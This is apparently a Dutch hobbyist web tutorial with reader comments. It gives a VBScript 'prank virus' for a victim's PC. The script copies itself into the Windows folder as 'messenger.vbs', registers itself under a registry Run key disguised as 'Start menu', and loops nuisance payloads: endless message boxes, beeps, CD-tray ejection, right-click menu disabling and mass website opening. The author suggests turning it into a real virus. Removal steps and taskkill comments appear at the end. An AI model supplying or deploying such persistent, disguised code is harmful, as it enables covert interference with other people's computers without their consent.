Uitleg

Het is niet echt een virus wat je hieronder ziet maar het is irritant voor het slachtoffer. Je kan er eigenlijk een virus van maken. Het is een simpel visual basic script met in het begin van de code enkele opdrachtregels die ervoor zorgen dat het zichzelf uitvoerd bij het opstarten. Je kan bijvoorbeeld een loop maken van opdrachten.

do
msgbox "Heey booy!"
loop

Dit zorgt ervoor dat telkens wanneer hij de computer aanzet, hij constant een messagebox zal te zien krijgen die je kan wegklikken maar dat heeft geen nut want dan springt de volgende op. Herstarten heeft ook geen nut want het programma wordt mee opgestart.
Enkele leuke ideën:
- loop van computerbeeps
- loop van openen van cd/dvd schuif

Script

' Begin programma in opstartvolgorde plaatsen 
Set Shell = CreateObject("Wscript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject") 

winfolder = FSO.GetSpecialFolder(0) 
Set vbsfile = FSO.GetFile(WScript.ScriptFullName) 
vbsfile.Copy winfolder & "\messenger.vbs" 
Shell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start menu",winfolder & "\messenger.vbs" 
' Einde programma in opstartvolgorde plaatsen 

' Script even laten slapen (10sec.) 
WScript.Sleep(10000)

' loop 
do 
' zet hiertussen je kloot-code 
loop 

Kloot-coden

Tekstregels of woorden waar een apostrof "'" voorkomt wordt in visual basic niet meegerekend, en wordt gebruikt om extra informatie mee te delen.

Messagebox:

x = msgbox("Bericht", vbCritical + vbOkOnly, "Titel")

Pc beep:

' dit plaats je bovenaan de code 
Set oWS = WScript.CreateObject("WScript.Shell") 

' en dit plaats je in de loop: 
oWS.Run "%comspec% /c echo " & Chr(07), 0, True 

Cd en dvd schuif open en toe:

 
' dit plaats je bovenaan de code 
Set oWMP = CreateObject("WMPlayer.OCX.7") 
Set colCDROMs = oWMP.cdromCollection 

' en dit plaats je in de loop: 
if colCDROMs.Count >= 1 then 
	For i = 0 to colCDROMs.Count - 1 
		colCDROMs.Item(i).Eject 
	Next 
	For i = 0 to colCDROMs.Count - 1 
		colCDROMs.Item(i).Eject 
	Next 
End If

Kloot-coden zonder loop

Verwijder: "do & loop" en vervang het door een van volgende:

Beperkt aantal messageboxes:

for i = 1 to 100 'de 100 is aanpasbaar
	msgbox "je tekst" 
next 

Rechtermuisklik menu verwijderen:

Set shl = CreateObject("Wscript.shell") 
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu","1"

Ongedaan maken:
Start > uitvoeren > "regedit" > HKEY_CURRENT_USER > Software > Microsoft > Windows > CurrentVersion > Policies > Explorer > verwijder tekenreeks "NoViewContextMenu" Website openen:

Set shl = CreateObject("Wscript.shell") 
shl.Run "http://www.rdds-read.com/" 

Meerdere websites openen:

Set shl = CreateObject("Wscript.shell") 
for i = 0 to 100
	shl.Run "http://www.rdds-read.com/" 
next

Virus verwijderen/ongedaan maken

Met dit verwijder je alleen het uitvoeren van het programma bij het opstarten, het bestand zelf is nog niet verwijderd.
Zolang je het niet uitvoerd kan het geen kwaad.
Start > uitvoeren > "regedit" > HKEY_LOCAL_MACHINE > Software > Microsoft > Windows > CurrentVersion > Run > verwijder tekenreeks "Start menu"

Download volgt nog

...

Steven schreef deze reactie om 16:36:00 op 2010-06-14

Je kan ook een file maken om het script te stoppen:
Plak het commando (TASKKILL /F /IM "wscript.exe") in kladblok en slaag op als een .bat file.
Geef een om het eender welke naam maar er moet .bat staan vanachter (i.p.v. .txt)

Steven schreef deze reactie om 16:33:00 op 2010-06-14

Om het script te stoppen:
Kopieer het volgende en plak het in het opdrachtprompt:
(opdracht prompt starten gaat als volgt:
startmenu --> Uitvoeren: type hier "cmd", enter)

TASKKILL /F /IM "wscript.exe"

Dan kan je daarna het script verwijderen en zorgen dat het niet meer opstart, maar dan ben je tenminste van die rotvenstertjes vanaf. Dit werkt toch iets simpeler.

Reageer:

Naam:
E-mail adres:
Persoonlijk bericht:

(Maximum karakters: 400). Je hebt nog     karakters over.
 

Validatie code: